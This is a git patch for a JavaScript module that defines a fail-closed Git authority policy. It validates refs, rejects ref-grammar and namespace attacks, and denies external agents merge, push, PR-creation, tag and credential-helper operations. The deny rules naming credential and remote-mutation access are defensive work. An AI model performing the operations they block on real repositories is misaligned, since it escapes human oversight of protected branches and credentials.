'refs/codex-co-engineer/runs/'; +export const CANDIDATE_REF_LEAF = 'candidate'; +export const HEADS_PREFIX = 'refs/heads/'; + +const DIGEST_PATTERN = /^[0-9a-f]{64}$/u; +const BRANCH_SEGMENT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; +const LANE_BRANCH_PATTERN = /^codex\/run-[0-9a-f]{16}\/[a-z][a-z0-9-]{0,63}$/u; +const LANE_REF_PATTERN = /^refs\/heads\/codex\/run-[0-9a-f]{16}\/[a-z][a-z0-9-]{0,63}$/u; +const CANDIDATE_REF_PATTERN = /^refs\/codex-co-engineer\/runs\/[a-z][a-z0-9-]{2,63}\/candidate$/u; +const SAFE_REF_PATTERN = /^refs\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}(?:\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}){0,7}$/u; +const SHA40_PATTERN = /^[0-9a-f]{40}$/u; + +export const POLICY_ALLOWED_KEYS = capturedFreeze([ + 'candidate_ref_leaf', 'candidate_ref_namespace', 'default_branch_names', + 'lane_branch_namespace', 'lane_digest_prefix_length', 'lane_ref_prefix', + 'manifest_digest_hex_length', 'max_history_commits', 'max_parent_count', + 'max_ref_bytes', 'max_ref_segments', 'schema', 'user_protected_ref_prefixes', + 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'head_sha', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const REF_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'default_branch', 'identity', 'init_default_branch', 'manifest_digest_hex', + 'origin_head_branch', 'ref', +]); +export const BRANCH_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'manifest_digest_hex', 'run_id', +]); + +export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', + 'authority_identity_invalid', 'authority_posture_mismatch', + 'branch_namespace_violation', 'credential_content_denied', + 'default_branch_target_denied', 'exotic_prototype_denied', + 'invalid_format', 'invalid_type', 'merge_authority_denied', + 'merge_history_denied', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'protected_ref_write_denied', + 'proxy_denied', 'push_authority_denied', 'symbol_key_denied', + 'unknown_git_operation', 'unknown_key', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const IS_ARRAY = Array.isArray; +const OWN_KEYS = Reflect.ownKeys; +const SET_CTOR = Set; + +const MSG = capturedFreeze({ + accessor_property_denied: 'GitAuthorityPolicyV1 denies accessor inputs.', + aliased_reference_denied: 'GitAuthorityPolicyV1 denies aliased inputs.', + authority_identity_invalid: 'GitAuthorityPolicyV1 rejected the credential-free repository identity.', + authority_posture_mismatch: 'GitAuthorityPolicyV1 rejected the merge or create-PR capability posture.', + branch_namespace_violation: 'GitAuthorityPolicyV1 rejected a branch namespace or ref-grammar attack.', + credential_content_denied: 'GitAuthorityPolicyV1 denies credentials and remote mutation material.', + default_branch_target_denied: 'GitAuthorityPolicyV1 denies default-branch and protected-target assignments.', + exotic_prototype_denied: 'GitAuthorityPolicyV1 denies exotic prototypes.', + invalid_format: 'GitAuthorityPolicyV1 rejected a value that violates a closed grammar.', + invalid_type: 'GitAuthorityPolicyV1 rejected a non-JSON authority value.', + merge_authority_denied: 'GitAuthorityPolicyV1 denies merge rebase and create-PR authority.', + merge_history_denied: 'GitAuthorityPolicyV1 denies merge commits and merge histories.', + missing_key: 'GitAuthorityPolicyV1 requires every canonical authority key.', + non_enumerable_property_denied: 'GitAuthorityPolicyV1 denies non-enumerable properties.', + out_of_range: 'GitAuthorityPolicyV1 rejected a value outside closed bounds.', + own_undefined_denied: 'GitAuthorityPolicyV1 denies own undefined values.', + protected_ref_write_denied: 'GitAuthorityPolicyV1 denies writes to protected or default refs.', + proxy_denied: 'GitAuthorityPolicyV1 denies Proxy inputs.', + push_authority_denied: 'GitAuthorityPolicyV1 denies push and remote mutation authority.', + symbol_key_denied: 'GitAuthorityPolicyV1 denies symbol keys.', + unknown_git_operation: 'GitAuthorityPolicyV1 denies unknown git operations.', + unknown_key: 'GitAuthorityPolicyV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'GitAuthorityPolicyV1 rejected nested input that exceeds closed depth.', + authority_ok: 'GitAuthorityPolicyV1 permits the requested git operation.', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { value: values[key], enumerable: true, writable: false, configurable: false }); + } + return capturedFreeze(snapshot); +} + +function deny(code, path) { + fail(code, path, MSG[code] ?? MSG.invalid_format); +} + +function assertClosedObject(input, allowed, path) { + if (input === undefined || input === null) deny('invalid_type', path); + assertDirectJsonClosure(input, path); + assertPlainObject(input, 'invalid_type', path, path); + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', path); } + if (keys.length > MAX_AUTHORITY_OBJECT_KEYS) deny('out_of_range', path); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUTHORITY_KEY_BYTES) deny('out_of_range', path); + } + assertAllowedKeys(input, allowed, path); + return input; +} + +function requireKeys(input, keys, path) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', `${path}.${keys[i]}`); + } +} + +function assertExact(value, expected, path) { + if (IS_ARRAY(expected)) { + assertNotProxy(value, path); + if (!IS_ARRAY(value) || value.length !== expected.length) deny('invalid_format', path); + for (let i = 0; i < expected.length; i += 1) { + if (ownDataValue(value, STRING(i), `${path}[${i}]`) !== expected[i]) deny('invalid_format', path); + } + return; + } + if (value !== expected) deny('invalid_format', path); +} + +function refGrammarDenied(value) { + if (typeof value !== 'string') return true; + const bytes = BYTE_LENGTH(value, 'utf8'); + if (bytes === 0 || bytes > MAX_REF_BYTES || value.normalize('NFC') !== value) return true; + if (value.includes('..') || value.includes('//') || value.includes('@{') || value.includes('@')) return true; + if (value.startsWith('/') || value.endsWith('/') || value.endsWith('.')) return true; + if (/[ \\~^:?*[]/.test(value)) return true; + const segments = value.split('/'); + if (segments.length < 2 || segments.length > MAX_REF_SEGMENTS || segments[0] !== 'refs') return true; + for (let i = 0; i < segments.length; i += 1) { + const segment = segments[i]; + if (segment.length === 0 || segment.startsWith('.') || segment.endsWith('.') || segment.endsWith('.lock')) { + return true; + } + if (i > 0 && !capturedTest(BRANCH_SEGMENT_PATTERN, segment)) return true; + } + for (let i = 0; i < value.length; i += 1) { + const code = value.charCodeAt(i); + if (code < 0x21 || code > 0x7e) return true; + } + return !capturedTest(SAFE_REF_PATTERN, value); +} + +function assertAsciiSegment(value, path) { + if (typeof value !== 'string') deny('invalid_type', path); + const bytes = BYTE_LENGTH(value, 'utf8'); + if (bytes === 0 || bytes > MAX_REF_BYTES || value.normalize('NFC') !== value) deny('out_of_range', path); + if (!capturedTest(BRANCH_SEGMENT_PATTERN, value)) deny('branch_namespace_violation', path); + return value; +} + +function bindOrThrow(label, path, fn) { + try { return fn(); } catch (error) { + if (error instanceof RunContractV1Error) deny(label, path); + throw error; + } +} + +function optionalSegment(input, key, path) { + if (!hasOwn(input, key)) return undefined; + return assertAsciiSegment(optOwn(input, key), `${path}.${key}`); +} + +export const GIT_AUTHORITY_POLICY_V1 = freezeData({ + schema: GIT_AUTHORITY_POLICY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + default_branch_names: [...DEFAULT_BRANCH_NAMES], + user_protected_ref_prefixes: capturedFreeze([ + `${HEADS_PREFIX}main`, `${HEADS_PREFIX}master`, 'refs/tags/', 'refs/notes/', 'refs/remotes/', + ]), + lane_branch_namespace: LANE_BRANCH_NAMESPACE, + lane_ref_prefix: LANE_REF_PREFIX, + lane_digest_prefix_length: LANE_DIGEST_PREFIX_LENGTH, + candidate_ref_namespace: CANDIDATE_REF_NAMESPACE, + candidate_ref_leaf: CANDIDATE_REF_LEAF, + manifest_digest_hex_length: MANIFEST_DIGEST_HEX_LENGTH, + max_ref_bytes: MAX_REF_BYTES, + max_ref_segments: MAX_REF_SEGMENTS, + max_history_commits: MAX_HISTORY_COMMITS, + max_parent_count: MAX_PARENT_COUNT, +}); +export const GitAuthorityPolicyV1 = GIT_AUTHORITY_POLICY_V1; +const POLICY_CANONICAL = canonicalJsonStringify(GIT_AUTHORITY_POLICY_V1); + +export function parseGitAuthorityPolicyV1(input) { + const path = 'policy'; + const object = assertClosedObject(input, POLICY_ALLOWED_KEYS, path); + requireKeys(object, POLICY_ALLOWED_KEYS, path); + for (const key of POLICY_ALLOWED_KEYS) { + assertExact(optOwn(object, key), GIT_AUTHORITY_POLICY_V1[key], `${path}.${key}`); + } + if (canonicalJsonStringify(object) !== POLICY_CANONICAL) deny('invalid_format', path); + return GIT_AUTHORITY_POLICY_V1; +} + +export function bindAuthorityIdentityV1(input) { + const path = 'identity'; + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, path); + requireKeys(object, IDENTITY_REQUIRED_KEYS, path); + bindOrThrow('authority_identity_invalid', `${path}.repository_path`, + () => assertRepositoryPath(optOwn(object, 'repository_path'), `${path}.repository_path`)); + const baseSha = optOwn(object, 'base_sha'); + bindOrThrow('authority_identity_invalid', `${path}.base_sha`, () => assertBaseSha(baseSha, `${path}.base_sha`)); + const runId = optOwn(object, 'run_id'); + bindOrThrow('authority_identity_invalid', `${path}.run_id`, () => assertRunId(runId, `${path}.run_id`)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('authority_identity_invalid', `${path}.assignment_id`); + const values = { + schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, repository_bound: true, + base_sha: baseSha, run_id: runId, assignment_id: assignmentId, + }; + if (hasOwn(object, 'head_sha')) { + const headSha = optOwn(object, 'head_sha'); + if (typeof headSha !== 'string' || !capturedTest(SHA40_PATTERN, headSha)) { + deny('authority_identity_invalid', `${path}.head_sha`); + } + values.head_sha = headSha; + } + return freezeRecord( + ['schema', 'version', 'repository_bound', 'base_sha', 'run_id', 'assignment_id', 'head_sha'], + values, + ); +} + +function assertBranchRequest(input) { + const path = 'branch'; + const object = assertClosedObject(input, BRANCH_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, BRANCH_REQUEST_ALLOWED_KEYS, path); + bindOrThrow('invalid_format', `${path}.run_id`, () => assertRunId(optOwn(object, 'run_id'), `${path}.run_id`)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('invalid_format', `${path}.assignment_id`); + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(DIGEST_PATTERN, digest)) deny('invalid_format', `${path}.manifest_digest_hex`); + return { assignmentId, digest }; +} + +export function expectedRunBranchNameV1(input) { + const { assignmentId, digest } = assertBranchRequest(input); + return `codex/run-${digest.slice(0, LANE_DIGEST_PREFIX_LENGTH)}/${assignmentId}`; +} + +export function expectedLaneRefV1(input) { + return `${HEADS_PREFIX}${expectedRunBranchNameV1(input)}`; +} + +export function expectedCandidateRefV1(input) { + const path = 'candidate'; + const object = typeof input === 'string' + ? assertClosedObject({ run_id: input }, ['run_id'], path) + : assertClosedObject(input, ['run_id'], path); + requireKeys(object, ['run_id'], path); + const runId = optOwn(object, 'run_id'); + bindOrThrow('invalid_format', `${path}.run_id`, () => assertRunId(runId, `${path}.run_id`)); + return `${CANDIDATE_REF_NAMESPACE}${runId}/${CANDIDATE_REF_LEAF}`; +} + +export function isValidRunBranchNameV1(name) { + return typeof name === 'string' + && BYTE_LENGTH(name, 'utf8') <= MAX_REF_BYTES + && name.normalize('NFC') === name + && capturedTest(LANE_BRANCH_PATTERN, name) + && !refGrammarDenied(`${HEADS_PREFIX}${name}`); +} + +export function isRunOwnedCandidateRefV1(ref, runId) { + if (typeof ref !== 'string' || typeof runId !== 'string') return false; + try { assertRunId(runId, 'run_id'); } catch { return false; } + return !refGrammarDenied(ref) + && ref === `${CANDIDATE_REF_NAMESPACE}${runId}/${CANDIDATE_REF_LEAF}` + && capturedTest(CANDIDATE_REF_PATTERN, ref); +} + +export function classifyRefV1(input) { + const path = 'ref_request'; + const object = assertClosedObject(input, REF_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, ['ref'], path); + const refValue = optOwn(object, 'ref'); + if (typeof refValue !== 'string') deny('invalid_type', `${path}.ref`); + const identity = hasOwn(object, 'identity') ? bindAuthorityIdentityV1(optOwn(object, 'identity')) : undefined; + const protectedNames = new SET_CTOR(DEFAULT_BRANCH_NAMES); + for (const key of ['default_branch', 'origin_head_branch', 'init_default_branch']) { + const extra = optionalSegment(object, key, path); + if (extra !== undefined) protectedNames.add(extra); + } + let ownLaneRef; + if (hasOwn(object, 'manifest_digest_hex') && identity !== undefined) { + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(DIGEST_PATTERN, digest)) deny('invalid_format', `${path}.manifest_digest_hex`); + ownLaneRef = `${LANE_REF_PREFIX}${digest.slice(0, LANE_DIGEST_PREFIX_LENGTH)}/${identity.assignment_id}`; + } + + const result = { + schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, + ref_class: 'user_protected', protected: true, default_branch_target: false, + code: 'protected_ref_write_denied', + }; + if (refGrammarDenied(refValue)) { + result.ref_class = 'unclassified'; + result.code = 'branch_namespace_violation'; + } else if (capturedTest(CANDIDATE_REF_PATTERN, refValue)) { + result.ref_class = 'platform_run_owned'; + result.code = identity !== undefined + && refValue === `${CANDIDATE_REF_NAMESPACE}${identity.run_id}/${CANDIDATE_REF_LEAF}` + ? 'protected_ref_write_denied' : 'branch_namespace_violation'; + } else if (capturedTest(LANE_REF_PATTERN, refValue)) { + if (ownLaneRef !== undefined && OBJECT_IS(refValue, ownLaneRef)) { + result.ref_class = 'worker_lane'; + result.protected = false; + result.code = 'authority_ok'; + } else { + result.code = 'branch_namespace_violation'; + } + } else if (refValue.startsWith('refs/tags/') || refValue.startsWith('refs/notes/') + || refValue.startsWith('refs/remotes/')) { + result.code = 'protected_ref_write_denied'; + } else if (refValue.startsWith(HEADS_PREFIX) && protectedNames.has(refValue.slice(HEADS_PREFIX.length))) { + result.default_branch_target = true; + result.code = 'default_branch_target_denied'; + } else if (!refValue.startsWith(HEADS_PREFIX)) { + result.ref_class = 'unclassified'; + result.code = 'branch_namespace_violation'; + } + return freezeRecord( + ['schema', 'version', 'ref_class', 'protected', 'default_branch_target', 'code'], + result, + ); +} + +export function isProtectedRefV1(input) { + return classifyRefV1(input).protected === true; +} + +capturedFreeze(parseGitAuthorityPolicyV1); +capturedFreeze(bindAuthorityIdentityV1); +capturedFreeze(expectedRunBranchNameV1); +capturedFreeze(expectedLaneRefV1); +capturedFreeze(expectedCandidateRefV1); +capturedFreeze(isValidRunBranchNameV1); +capturedFreeze(isRunOwnedCandidateRefV1); +capturedFreeze(classifyRefV1); +capturedFreeze(isProtectedRefV1); From a8cebdf54d5ce75f969ce8bf411562acca73e448 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:50:21 +0000 Subject: [PATCH 45/81] feat(authority): prohibit merge push and create-pr operations --- CHANGELOG.md | 15 + docs/future-work.md | 8 +- .../mcp/v3/git-authority.mjs | 320 +++++++++++++++++- 3 files changed, 337 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c7f1e20..f5e60e6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,21 @@ ### Added +- **Git authority policy.** Adds additive v3 `git-authority.mjs` (P28): a + closed immutable `GitAuthorityPolicyV1` for protected/default refs, the + `codex/run-/` lane namespace, credential-free + repository/ref identity, and operation authority. External agents and + providers cannot merge, rebase, push, create PRs, mutate + protected/default refs, create tags/releases, or obtain + credential/remote mutation authority. Default-branch targets, merge + histories, namespace/confusable/ref-grammar attacks, unknown + operations/keys, proxy/accessor inputs, and bounds abuse fail closed. + Verdicts and P13-compatible facts/discrepancies are content-free and + never echo repository paths, URLs, credentials, provider text, or + hostile refs. This is policy at the authority seam only: no Git + mutation, no P29 credential isolation, and no P30 protected-ref audit. + Coverage lives in `test/r1-git-authority.test.mjs` and + `test/r1-git-authority-adversarial.test.mjs`. - **Local provider result sink.** Adds additive v3 `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted diff --git a/docs/future-work.md b/docs/future-work.md index 87efcf8..18ea2b2 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-22 +Last updated: 2026-08-23 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -34,6 +34,12 @@ fail-closed identity/correlation drift denials. Neither adapter's deterministic transport port substitutes for the remaining real lifecycle routes documented in `docs/dsh-acpx-driver.md`. +The P28 `GitAuthorityPolicyV1` is in-tree as a pure authority-seam +policy: protected/default refs, the allowed task-branch namespace, +credential-free repository identity, and denied merge/push/create-PR/ +tag/release operations. It does not mutate Git, isolate credentials +(P29), or audit live refs (P30). + The P11 local provider result sink is in-tree as an additive provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output is published through the accepted P09 sanitizer and P08 diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs index 4b30b80..c4987ae 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -3,14 +3,24 @@ // `gate_a_no_protected_ref_mutation`). // // Additive v3 static law: protected/default refs, the allowed task-branch -// namespace, credential-free repository/ref identity, and tri-class -// classification. No Git mutation, no P29 credential/remote I/O, no P30 -// audit. Policy plus detection is not containment. Receipts never echo -// repository paths, URLs, credentials, provider text, or hostile refs. +// namespace, credential-free repository/ref identity, tri-class +// classification, and operation authority. External agents never merge, +// rebase, push, create PRs, mutate protected/default refs, create +// tags/releases, or obtain credential/remote mutation authority. No Git +// mutation, no P29 credential/remote I/O, no P30 audit. Policy plus +// detection is not containment. Receipts never echo repository paths, +// URLs, credentials, provider text, or hostile refs. import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; -import { capturedFreeze, capturedTest } from './grammar.mjs'; +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, +} from './capability-bridge.mjs'; +import { capturedFreeze, capturedIncludes, capturedTest, isKnownProvider } from './grammar.mjs'; import { canonicalJsonStringify } from './identity.mjs'; import { RunContractV1Error, @@ -38,6 +48,18 @@ export const GIT_AUTHORITY_VERSION = 1; export const REF_CLASS_VALUES = capturedFreeze([ 'platform_run_owned', 'unclassified', 'user_protected', 'worker_lane', ]); +export const ACTOR_VALUES = capturedFreeze(['codex', 'platform', 'worker']); +export const AUTHORITY_VERDICTS = capturedFreeze(['allowed', 'denied']); +export const ALLOWED_OPERATIONS = capturedFreeze([ + 'commit_on_lane_branch', 'compose_candidate_non_authoritative', + 'create_lane_branch', 'read_only_inspect', +]); +export const DENIED_OPERATIONS = capturedFreeze([ + 'create_pr', 'credential_helper', 'delete_ref', 'fetch', 'force_push', + 'merge', 'merge_pr', 'protected_ref_update', 'pull', 'push', 'rebase', + 'release_create', 'remote_mutate', 'tag_create', 'tag_delete', +]); +export const GIT_OPERATIONS = capturedFreeze([...ALLOWED_OPERATIONS, ...DENIED_OPERATIONS]); export const MAX_AUTHORITY_OBJECT_KEYS = 32; export const MAX_AUTHORITY_KEY_BYTES = 128; export const MAX_REF_BYTES = 200; @@ -81,6 +103,24 @@ export const REF_REQUEST_ALLOWED_KEYS = capturedFreeze([ export const BRANCH_REQUEST_ALLOWED_KEYS = capturedFreeze([ 'assignment_id', 'manifest_digest_hex', 'run_id', ]); +export const HISTORY_ALLOWED_KEYS = capturedFreeze(['parent_counts']); +export const POSTURE_ALLOWED_KEYS = capturedFreeze([...CAPABILITY_RECORD_ALLOWED_KEYS, 'schema']); +export const OPERATION_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'actor', 'capability', 'default_branch', 'history', 'identity', + 'init_default_branch', 'manifest_digest_hex', 'operation', + 'origin_head_branch', 'ref', 'schema', 'version', +]); +export const OPERATION_REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'actor', 'identity', 'operation', 'schema', 'version', +]); +export const EVIDENCE_CONTEXT_ALLOWED_KEYS = capturedFreeze([ + 'discrepancy_id', 'fact_id', 'sequence', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'actor', 'assignment_id', 'base_sha', 'code', 'default_branch_target', + 'message', 'operation', 'path', 'ref_class', 'run_id', 'schema', + 'verdict', 'version', +]); export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ 'accessor_property_denied', 'aliased_reference_denied', @@ -96,11 +136,39 @@ export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ const DEFINE = Object.defineProperty; const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; const STRING = String; const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); const IS_ARRAY = Array.isArray; const OWN_KEYS = Reflect.ownKeys; const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; + +const DENIED_OPERATION_CODES = capturedFreeze({ + create_pr: 'merge_authority_denied', + credential_helper: 'credential_content_denied', + delete_ref: 'protected_ref_write_denied', + fetch: 'push_authority_denied', + force_push: 'push_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + protected_ref_update: 'protected_ref_write_denied', + pull: 'push_authority_denied', + push: 'push_authority_denied', + rebase: 'merge_authority_denied', + release_create: 'protected_ref_write_denied', + remote_mutate: 'push_authority_denied', + tag_create: 'protected_ref_write_denied', + tag_delete: 'protected_ref_write_denied', +}); +const ACTOR_OPERATIONS = capturedFreeze({ + worker: capturedFreeze(['commit_on_lane_branch', 'create_lane_branch', 'read_only_inspect']), + platform: capturedFreeze(['compose_candidate_non_authoritative', 'read_only_inspect']), + codex: capturedFreeze(['read_only_inspect']), +}); +const RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; const MSG = capturedFreeze({ accessor_property_denied: 'GitAuthorityPolicyV1 denies accessor inputs.', @@ -389,6 +457,244 @@ export function isProtectedRefV1(input) { return classifyRefV1(input).protected === true; } +export function classifyLaneHistoryV1(input) { + const path = 'history'; + const object = assertClosedObject(input, HISTORY_ALLOWED_KEYS, path); + requireKeys(object, HISTORY_ALLOWED_KEYS, path); + const counts = optOwn(object, 'parent_counts'); + assertNotProxy(counts, `${path}.parent_counts`); + if (!IS_ARRAY(counts) || counts.length < 1 || counts.length > MAX_HISTORY_COMMITS) { + deny('out_of_range', `${path}.parent_counts`); + } + let merge = false; + for (let i = 0; i < counts.length; i += 1) { + const count = ownDataValue(counts, STRING(i), `${path}.parent_counts[${i}]`); + if (typeof count !== 'number' || !IS_INT(count) || count < 0 || count > MAX_PARENT_COUNT) { + deny('out_of_range', `${path}.parent_counts`); + } + if (count >= 2) merge = true; + } + return freezeRecord(['schema', 'version', 'verdict', 'code', 'path', 'message'], { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + verdict: merge ? 'denied' : 'allowed', + code: merge ? 'merge_history_denied' : 'authority_ok', + path: 'history', + message: MSG[merge ? 'merge_history_denied' : 'authority_ok'], + }); +} + +export function assertAuthorityPostureV1(input) { + const path = 'capability'; + const object = assertClosedObject(input, POSTURE_ALLOWED_KEYS, path); + if (!hasOwn(object, 'merge_authority') || !hasOwn(object, 'create_pr_posture')) { + deny('missing_key', path); + } + if (hasOwn(object, 'schema') + && optOwn(object, 'schema') !== PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID) { + deny('authority_posture_mismatch', `${path}.schema`); + } + const mergeAuthority = optOwn(object, 'merge_authority'); + if (!capturedIncludes(MERGE_AUTHORITIES, mergeAuthority)) { + deny('authority_posture_mismatch', `${path}.merge_authority`); + } + const createPr = optOwn(object, 'create_pr_posture'); + if (!capturedIncludes(CREATE_PR_POSTURES, createPr)) { + deny('authority_posture_mismatch', `${path}.create_pr_posture`); + } + let provider; + if (hasOwn(object, 'provider')) { + provider = optOwn(object, 'provider'); + if (!isKnownProvider(provider)) deny('authority_posture_mismatch', `${path}.provider`); + } + if (createPr === 'non_authoritative_cloud_only' && provider !== 'cursor-cloud') { + deny('authority_posture_mismatch', `${path}.create_pr_posture`); + } + return freezeRecord(['merge_authority', 'create_pr_posture', 'provider'], { + merge_authority: mergeAuthority, + create_pr_posture: createPr, + provider, + }); +} + +function classifyRefFromOperation(object, identity) { + if (!hasOwn(object, 'ref')) return undefined; + const refRequest = { ref: optOwn(object, 'ref') }; + if (identity !== undefined) refRequest.identity = { + repository_path: optOwn(optOwn(object, 'identity'), 'repository_path'), + base_sha: identity.base_sha, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + }; + for (const key of ['default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex']) { + if (hasOwn(object, key)) refRequest[key] = optOwn(object, key); + } + return classifyRefV1(refRequest); +} + +function receipt(values) { + return freezeRecord(RECEIPT_KEYS, { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + message: MSG[values.code] ?? MSG.invalid_format, + ref_class: null, + default_branch_target: false, + ...values, + }); +} + +export function classifyGitOperationV1(input) { + const path = 'request'; + const object = assertClosedObject(input, OPERATION_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, OPERATION_REQUEST_REQUIRED_KEYS, path); + if (optOwn(object, 'schema') !== GIT_AUTHORITY_SCHEMA_ID) deny('invalid_format', `${path}.schema`); + if (optOwn(object, 'version') !== GIT_AUTHORITY_VERSION) deny('invalid_format', `${path}.version`); + const actor = optOwn(object, 'actor'); + if (!capturedIncludes(ACTOR_VALUES, actor)) deny('invalid_format', `${path}.actor`); + const operation = optOwn(object, 'operation'); + if (typeof operation !== 'string') deny('invalid_type', `${path}.operation`); + if (!capturedIncludes(GIT_OPERATIONS, operation)) deny('unknown_git_operation', `${path}.operation`); + const identity = bindAuthorityIdentityV1(optOwn(object, 'identity')); + if (hasOwn(object, 'capability')) assertAuthorityPostureV1(optOwn(object, 'capability')); + + const deniedCode = DENIED_OPERATION_CODES[operation]; + if (deniedCode !== undefined) { + return receipt({ + verdict: 'denied', code: deniedCode, path: 'operation', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + if (!capturedIncludes(ACTOR_OPERATIONS[actor], operation)) { + return receipt({ + verdict: 'denied', code: 'authority_posture_mismatch', path: 'actor', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + if (hasOwn(object, 'history')) { + const history = classifyLaneHistoryV1(optOwn(object, 'history')); + if (history.verdict === 'denied') { + return receipt({ + verdict: 'denied', code: 'merge_history_denied', path: 'history', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + } + + const write = operation !== 'read_only_inspect'; + if (write && !hasOwn(object, 'ref')) deny('missing_key', `${path}.ref`); + const classified = classifyRefFromOperation(object, identity); + if (classified !== undefined && write) { + const allowedClass = operation === 'compose_candidate_non_authoritative' + ? 'platform_run_owned' : 'worker_lane'; + const allowed = operation === 'compose_candidate_non_authoritative' + ? classified.ref_class === 'platform_run_owned' && classified.code === 'protected_ref_write_denied' + : classified.ref_class === 'worker_lane' && classified.code === 'authority_ok'; + if (!allowed) { + return receipt({ + verdict: 'denied', + code: classified.default_branch_target ? 'default_branch_target_denied' : classified.code, + path: 'ref', actor, operation, ref_class: classified.ref_class, + default_branch_target: classified.default_branch_target, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + return receipt({ + verdict: 'allowed', code: 'authority_ok', path: 'operation', actor, operation, + ref_class: allowedClass, run_id: identity.run_id, assignment_id: identity.assignment_id, + base_sha: identity.base_sha, + }); + } + return receipt({ + verdict: 'allowed', code: 'authority_ok', path: 'operation', actor, operation, + ref_class: classified === undefined ? null : classified.ref_class, + default_branch_target: classified === undefined ? false : classified.default_branch_target, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function evidenceMethod(code) { + if (code === 'merge_history_denied') return 'merge_commit_absence'; + if (code === 'default_branch_target_denied' || code === 'protected_ref_write_denied' + || code === 'branch_namespace_violation') { + return 'protected_ref_snapshot_compare'; + } + return 'ancestry_check'; +} + +export function projectAuthorityEvidenceV1(verdict, context = {}) { + const path = 'evidence'; + if (verdict === undefined || verdict === null) deny('invalid_type', path); + assertDirectJsonClosure(verdict, path); + assertPlainObject(verdict, 'invalid_type', path, path); + 